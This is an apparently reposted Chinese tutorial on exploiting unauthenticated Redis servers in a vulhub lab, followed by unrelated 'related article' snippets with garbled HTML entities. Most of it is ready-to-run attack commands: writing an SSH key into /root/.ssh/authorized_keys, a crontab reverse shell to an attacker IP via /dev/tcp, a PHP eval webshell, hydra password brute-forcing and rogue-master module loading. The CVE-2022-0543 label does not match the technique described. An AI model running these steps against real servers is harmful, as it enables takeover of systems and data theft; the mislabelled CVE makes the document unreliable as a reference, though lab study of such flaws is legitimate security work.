redis未授权(CVE-2022-0543)

概述

Redis 默认绑定在 0.0.0.0:6379,在未配置防火墙或访问控制的情况下会将服务暴露在公网上。若未设置访问密码(默认通常为空),攻击者可直接未授权访问 Redis。利用 Redis 提供的 CONFIG 命令,攻击者可修改配置并将数据持久化到指定路径,从而实现向服务器写入任意文件。通过该方式,攻击者可将自己的 SSH 公钥写入 /root/.ssh/authorized_keys 文件中,进而使用对应私钥远程登录目标主机,获取系统权限。

条件
  • Redis服务以root用户身份运行,权限较高。
  • Redis未设置密码或使用弱密码,允许免密或弱认证访问。
  • Redis监听在公网地址(如0.0.0.0:6379),且未配置防火墙等访问控制,导致任意IP均可连接。
方法
  • 使用 INFO 命令获取Redis服务器参数和敏感信息,辅助渗透。
  • 上传SSH公钥,实现免密码SSH登录。
  • 利用 crontab 定时任务反弹Shell。
  • 在Web目录写入WebShell。
  • 利用Redis主从复制机制实现远程代码执行(RCE)。
危害
  • 攻击者无需认证即可访问内部数据,导致敏感信息泄露,同时可恶意执行 flushall 清空所有数据。
  • 攻击者可利用 EVAL 命令执行 Lua 代码,或通过数据备份功能向磁盘写入后门程序。
  • 最严重的情况是,当 Redis 以 root 身份运行时,攻击者可写入 root 账户的 SSH 公钥,实现免密码远程登录受害服务器。

漏洞复现

环境准备
vulhub起靶场

靶场目录和启动命令下面都有

docker compose up
docker ps 
攻击机环境准备
wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
测试连通性

截屏2025-05-19 10.42.44

漏洞探测
端口扫描
nmap -sV --open -p- 192.168.64.10 

通常 Redis 服务默认开放在 6379 端口,但我的靶机将其映射到了 52018 端口。但是nmap 仍成功识别出该端口运行的是 Redis 服务。

截屏2025-05-19 11.01.11

连接redis

以下命令用于连接远程 Redis 服务器

./redis-cli -h 192.168.64.10 -p 52018

./redis-cli 表示使用当前目录下的 Redis 命令行客户端进行连接,-h 参数用于指定目标主机的 IP 地址(此处为 192.168.64.10),-p 用于指定 Redis 服务监听的端口号(此处为 52018)。

截屏2025-05-19 11.14.54

获得SSH登陆权限

可以通过向 Redis 数据库中写入 SSH 公钥的方式,获取目标服务器的 SSH 登录权限。

原理

利用 Redis 未授权访问漏洞,将本机的 SSH 公钥作为一个字符串写入 Redis 中(key 值可以随意),然后通过修改 Redis 的工作目录为 /root/.ssh,并将保存文件名设置为 authorized_keys。这样,当 Redis 执行保存操作时,便会将 SSH 公钥写入到目标服务器的 /root/.ssh/authorized_keys 文件中,从而实现免密登录。

生成key

使用以下命令生成一对 SSH 密钥(默认生成 id_rsaid_rsa.pub

ssh-keygen -t rsa

执行命令后按回车使用默认路径和空密码即可。生成完成后,公钥文件 id_rsa.pub 将用于写入目标 Redis 服务器,实现后续的免密 SSH 登录。

导入key.txt文件

以下命令将本机生成的公钥包装成一个带换行的文件 key.txt,用于后续写入 Redis

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
写入靶机

key.txt 的内容写入 Redis 缓存

cat key.txt | ./redis-cli -h 192.168.64.10 -p 51622 -x set test

说明:使用 -x 选项可以将标准输入内容作为值写入键 test。(注:由于靶机重启,端口变更为 51622)

截屏2025-05-19 11.31.46

设置靶机ssh文件

注意如果这里使用docker起环境就不能写入文件(没有权限),下文有exp地址.

./redis-cli -h 192.168.64.10 -p 51622
# 设置 Redis 的工作目录为目标机器的 /root/.ssh 目录
config set dir /root/.ssh
# 设置保存文件名为 authorized_keys(SSH 公钥默认认证文件)
config set dbfilename authorized_keys
# 查看当前所有 key,确认公钥是否已写入缓存
keys *
get test# 将缓存中的数据写入到硬盘文件
save# 之后即可通过 SSH 免密码登录目标主机
ssh root@192.168.64.10# 登录后可以查看写入的公钥文件内容
cat /root/.ssh/authorized_keys

注意:如果 Redis 运行在 Docker 容器中,通常没有权限写入文件系统,无法完成此操作。后文会提供对应的 Exploit 脚本地址。

漏洞利用

通过 crontab 定时任务反弹

原理与写入公钥类似,只是写入内容和路径不同。通过将反弹shell命令写入 /var/spool/cron/root,实现定时执行反弹shell。

# 本地监听端口(端口可自定义,避免冲突)
nc -lv 6666# 连接 Redis,写入反弹shell任务
./redis-cli -h 192.168.64.10
set test2 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/客户端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
Web目录写入 WebShell

利用 Redis 写入 Web 目录,生成 WebShell,实现远程代码执行。

./redis-cli -h 192.168.64.10
config set dir /var/www/html
set shell "\n\n\n<?php @eval(\$_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save# 利用hydra爆破redis密码(若设置了密码)
hydra -P passwd.txt redis://192.168.1.111
利用 Redis 主从复制实现远程命令执行 (ECE)

Redis 通过主从复制机制分摊压力,但可被攻击者利用伪装为 Redis 主节点,传输恶意模块,实现命令执行。

攻击思路:

  1. 伪装成 Redis 服务器,欺骗受害者将其设置为主节点。
  2. 传输恶意模块(.so 文件)到受害者。
  3. 受害者加载该模块,实现任意命令执行。
./redis-cli -h 192.168.64.10
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
Redis 常用命令汇总
redis-cli -h ip -p 6379 -a passwd       # 连接远程Redis
info                                  # 查看Redis信息
set key value                        # 设置键值对
get key                             # 获取键值
incr key                            # 递增键值
keys *                             # 查看所有键
config set protected-mode no        # 关闭保护模式
config set dir /path/to/dir         # 设置保存目录
config set dbfilename filename.rdb  # 设置保存文件名
save                               # 保存快照到磁盘
flushall                           # 清空所有数据
del key                           # 删除指定键
slaveof ip port                   # 设置主从复制关系
mset k1 v1 k2 v2 k3 v3            # 批量设置键值
mget k1 k2 k3                     # 批量获取键值

参考文章

  1. Redis未授权访问 (https://wiki.wgpsec.org/knowledge/web/unauthorized.html#redis)
  2. redis未授权漏洞复现(超详细)(https://www.cnblogs.com/qingzhang/articles/18195354)
  3. redis未授权访问漏洞【vulhub靶场】复现(https://blog.csdn.net/m0_55854679/article/details/126100539)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/news/907825.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(面试)OkHttp实现原理

OkHttp 是一个高效的 HTTP 客户端&#xff0c;被广泛应用于 Android 和 Java 应用中。它提供了许多强大的特性&#xff0c;例如连接池、透明的 GZIP 压缩、HTTP/2 支持等。理解 OkHttp 的实现原理有助于更好地使用和调试它。 以下是 OkHttp 的一些核心实现原理&#xff1a; 1…

Netty 实战篇:构建简易注册中心,实现服务发现与调用路由

本文将为前面构建的轻量级 RPC 框架添加“服务注册与发现”功能&#xff0c;支持多服务节点动态上线、自动感知与调用路由&#xff0c;为构建真正可扩展的分布式系统打好基础。 一、背景&#xff1a;为什么需要注册中心&#xff1f; 如果每个客户端都硬编码连接某个 IP/端口的…

c++之分支

深入理解 C 分支结构&#xff1a;从基础到实战 在 C 编程的世界里&#xff0c;分支结构是控制程序流程的重要手段&#xff0c;它赋予程序 “思考” 和 “选择” 的能力&#xff0c;让程序能够根据不同的条件执行不同的代码块。本文将带大家深入探索 C 分支结构&#xff0c;结合…

LLMs之MCP:如何使用 Gradio 构建 MCP 服务器

LLMs之MCP&#xff1a;如何使用 Gradio 构建 MCP 服务器 导读&#xff1a;本文详细介绍了如何使用Gradio构建MCP服务器&#xff0c;包括前提条件、构建方法、关键特性和相关资源。通过一个简单的字母计数示例&#xff0c;演示了如何将Gradio应用转换为LLM可以使用的工具。Gradi…

ubuntu20.04.5-arm64版安装robotjs

ubuntu20.04.5arm上使用robotjs #ssh&#xff0c;可选 sudo apt update sudo apt install openssh-server sudo systemctl status ssh sudo systemctl enable ssh sudo systemctl enable --now ssh #防火墙相关&#xff0c;可选 sudo ufw allow ssh sudo ufw allow 2222/tc…

craw4ai 抓取实时信息,与 mt4外行行情结合实时交易,基本面来觉得趋势方向,搞一个外汇交易策略

结合实时信息抓取、MT4行情数据、基本面分析的外汇交易策略框架&#xff0c;旨在通过多维度数据融合提升交易决策质量&#xff1a;行不行不知道先试试&#xff0c;理论是对的&#xff0c;只要基本面方向没错 策略名称&#xff1a;Tri-Sync 外汇交易系统 核心理念 「基本面定方…

Python中scapy库详细使用(强大的交互式数据包操作程序和库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、scapy概述1.1 scapy介绍1.2 安装1.3 交互模式1.4 安全注意事项二、基本使用2.1 数据包构造基础2.2 数据包发送2.3 数据包嗅探2.4 数据包分析与操作2.5 网络扫描技术2.6 协议实现示例三、高级功能3.1 数据包重放3.2 …

基于Web的濒危野生动物保护信息管理系统设计(源码+定制+开发)濒危野生动物监测与保护平台开发 面向公众参与的野生动物保护与预警信息系统

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

[SAP] 矩阵复制(Matrix Copy)

SAP中的复制粘贴功能被称为矩阵复制&#xff0c;通过点击对话框或屏幕&#xff0c;并执行下述命令&#xff0c;使用矩阵复制就可以复制多行文本 ① 按下Ctrl-Y&#xff0c;从左上到右下拖拉鼠标来选择文本 ② 文本高亮显示后&#xff0c;按下Ctrl-C ③ 移到新的位置插入文本…

【笔记】在 MSYS2(MINGW64)中安装 Python 工具链的记录

#工作记录 &#x1f4cc; 安装背景 操作系统&#xff1a;MSYS2 MINGW64当前时间&#xff1a;2025年6月1日Python 版本&#xff1a;3.12&#xff08;默认通过 pacman 安装&#xff09;目标工具链&#xff1a; pipxnumpypipsetuptoolswheel &#x1f6e0;️ 安装过程与结果记录…

OpenCV CUDA模块结构分析与形状描述符------在 GPU 上计算图像的原始矩(spatial moments)函数spatialMoments()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 该函数用于在 GPU 上计算图像的原始矩&#xff08;spatial moments&#xff09;。这些矩可用于描述图像中物体的形状特征&#xff0c;如面积、质…

Nacos实战——动态 IP 黑名单过滤

1、需求分析 一些恶意用户&#xff08;‏可能是黑客、爬虫、DDoS ؜攻击者&#xff09;可能频繁请求服务器资​源&#xff0c;导致资源占用过高。针对这种问题&#xff0c;可以通过IP‏ 封禁&#xff0c;可以有效拉؜黑攻击者&#xff0c;防止资源​被滥用&#xff0c;保障合法…

opencv + jpeg_turbo(启用SIMD加速)

背景 opencv的imreadimwrite耗时过大 一张5M的图片读用了140ms,写一张1.7M的图片用149ms 平台&#xff1a;mingw64编译Windows程序版本&#xff1a;opencv4.5.4 加速方案 opencv启用openmpopencv启用jpeg_turbojpeg_turbo启动SIMD加速 下载jpeg_turbo源码 opencv源码自带…

Redis 主从节点

Redis 主从节点的核心区别 特性主节点 (Master)从节点 (Slave/Replica)读写权限可读可写只读&#xff08;默认配置&#xff09;数据流向数据来源从主节点同步数据连接关系可连接多个从节点只能连接一个主节点故障切换故障时需要手动/自动提升从节点可被提升为新的主节点命令执…

汽车安全:功能安全FuSa、预期功能安全SOTIF与网络安全Cybersecurity 解析

汽车安全的三重防线&#xff1a;深入解析FuSa、SOTIF与网络安全技术 现代汽车已成为装有数千个传感器的移动计算机&#xff0c;安全挑战比传统车辆复杂百倍。 随着汽车智能化、网联化飞速发展&#xff0c;汽车电子电气架构已从简单的分布式控制系统演变为复杂的移动计算平台。现…

github好玩的工具

以下是 GitHub 上一些有趣且实用的开源工具推荐,涵盖 AI 应用、效率提升、趣味开发等方向,结合最新趋势和项目热度整理: 一、AI 与深度伪造工具 Deep-Live-Cam 仅需一张图片即可在视频直播中实时替换人脸,适用于内容创作和虚拟角色开发,支持多平台硬件运行(如 NVIDIA CUD…

Python应用for循环临时变量作用域

大家好!如果你刚开始学习Python&#xff0c;可能会对for循环中临时变量的作用域感到好奇。下面通过一个简单的练习&#xff0c;帮助你理解这个概念。 代码呈现: i 0 for i in range(5):print(i)print(i)代码介绍: 首先我们初始化变量i 0然后进入for循环&#xff0c;这里i成为…

深度学习---负样本训练

一、负样本的本质与核心作用 1. 定义与范畴 负样本&#xff08;Negative Sample&#xff09;是与目标样本&#xff08;正样本&#xff09;在语义、特征或任务目标上存在显著差异的样本。其核心价值在于通过对比学习引导模型学习样本间的判别性特征&#xff0c;而非仅记忆正样本…

实验设计与分析(第6版,Montgomery)第3章单因子实验:方差分析3.11思考题3.7 R语言解题

本文是实验设计与分析&#xff08;第6版&#xff0c;Montgomery著&#xff0c;傅珏生译) 第3章单因子实验&#xff1a;方差分析3.11思考题3.7 R语言解题。主要涉及单因子方差分析&#xff0c;正态性假设检验&#xff0c;残差与拟合值的关系图&#xff0c;平方根变换。 X<-c(…

【PhysUnits】15.8 引入P1后的减法运算(sub.rs)

一、源码 这段代码实现了一个类型级别的二进制数减法系统&#xff0c;包含标准减法和带借位减法。 use core::ops::{Neg, Not, Sub}; use super::basic::{Z0, N1, P1, B0, B1, Integer, NonZero}; use super::add1::Add1; use super::sub1::Sub1; use super::standardization…